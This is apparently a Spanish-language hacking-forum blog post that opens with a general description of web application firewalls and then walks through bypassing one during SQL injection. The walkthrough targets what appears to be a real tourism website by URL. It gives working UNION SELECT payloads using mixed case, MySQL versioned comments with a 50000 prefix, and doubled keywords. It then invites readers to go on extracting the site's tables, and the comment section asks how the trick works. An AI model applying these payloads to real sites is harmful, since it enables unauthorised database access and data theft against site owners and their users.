Métodos para bypassear un WAF en Inyección SQLi

22:40 2 Comments A+ a-

¿Qué es un WAF?

Un Web Application Firewall, como su propio nombre indica, es una solución, bien en formato hardware, como en virtual appliance, o software, o incluso, en formato SaaS, capaz de ejercer de capa específica de protección ante ataques diseñados expresamente para aprovechar las innumerables vulnerabilidades que existen en un aplicativo web.

Ya sea a nivel de sistema operativo, de servidor web, de framework utilizado o de código, todos los sistemas dejan puertas abiertas a visitas malintencionadas que intentan sacar provecho de las mismas, ya sea dañando el sistema y su disponibilidad, modificando los contenidos publicados, o, en el peor de los casos, robando ilegítimamente la información de las bases de datos que normalmente existen tras los frontales web.

Tradicionalmente, los mecanismos de seguridad se han reducido a un nivel de parcheo óptimo de los servidores y un firewall perimetral que evitaba la publicación de servicios y puertos no deseados. Pero esto no es suficiente.
El mero hecho de publicar nuestro aplicativo mediante los servicios http y https, conlleva estar expuesto, y si hay una verdad absoluta en términos de seguridad informática, es que todos los sistemas tienen vulnerabilidades.

De esta manera, una solución WAF completa habrá de dotar de barreras de protección de distinta naturaleza, con el fin de lograr la máxima reducción de las opciones que un supuesto atacante tenga a su disposición:
  • validación de protocolos
  • firmas de ataques conocidos
  • limitación del comportamiento del aplicativo a respuestas del usuario normalizadas y limitadas, incluyendo el comportamiento de las cookies que se manejen
  • conocimiento del comportamiento habitual y razonable de las visitas para, por ejemplo, detectar posibles ataques
    de DDoS
  • detección y trazabilidad de los usuarios del sistema y sus movimientos en las bases de datos de backend
  • sistema de detección y bloqueo de orígenes de  visitas no deseados, como redes TOR o proxies anónimos
Pero quizás, lo más  importante de todo, es que la solución sea escalable, no introduzca latencias  significativas, permita una implantación sencilla y asumible, y, sobre todo, sea  flexible, para permitirnos adaptar sus distintas protecciones a nuestro abanico de aplicaciones web existentes y futuras, externas e internas.

Bueno, supongamos que tenemos una página vulnerable a SQL Injection y nos toca búscar las columnas vulnerables usando UNION SELECT, y cuando ejecutamos la inyección en la página de repente nos dispara un WAF. Un ejemplo de como se vería ciertas veces un waf:

Usare esa página como ejemplo, http://www.alwaysperu.com/tours-view-more.php?id=1

Vale, entonces como lo bypassearia? usando ciertas formas de burlar al servidor, por ejemplo en el UNION SELECT le puedo cambiar el caso y colocarlo como uNiOn SeLeCt , quedando todo de la siguiente forma:

http://www.alwaysperu.com/tours-view-more.php?id=1 and 0 uNion sELeCt 1,2,3,4,5,6,7,8,9,10 #

Vale, está un poco fuerte. No lo logro bypassear, entonces usamos otro tip. Como por ejemplo, los comentarios /*! */ . Ej:

http://www.alwaysperu.com/tours-view-more.php?id=1 and 0 /*!uNion sELeCt*/ 1,2,3,4,5,6,7,8,9,10 #

Aún no lo logra bypassear, añado un 50000 a un costado del union haber que tal..

http://www.alwaysperu.com/tours-view-more.php?id=1 and 0 /*!50000uNion sELeCt*/ 1,2,3,4,5,6,7,8,9,10 #

Nos devuelve el siguiente resultado:

 Excelente!! Nos ha logrado bypassear el Web Application Firewall. Ahora podemos seguir jugueteando con el servidor búscando sus registros, tablas, etc.. Eso ya es cosa de ustedes.

Otro tip que nos puede ser útil es:

UNIunionON SELselectECT

En esto, uso UNI porque ciertas veces el servidor elimina las palabras entonces lo uso de esa manera

Post realizado por M5f3r0


2 comentarios

Write comentarios
Anónimo
AUTHOR
11 de octubre de 2013, 12:05 delete

Hola que tal, que funcion cumple el 50000 que agregas en el ultimo paso? Saludos muy buen aporte

Reply
avatar
ANTRAX
AUTHOR
11 de octubre de 2013, 12:08 delete

Hola Lagarto Seb, pasato por el post oficial:
http://underc0de.org/foro/bugs-y-exploits/metodos-para-bypassear-un-waf-en-inyeccion-sqli/
Y preguntalo ahi, asi te responde el autor del post

Saludos

Reply
avatar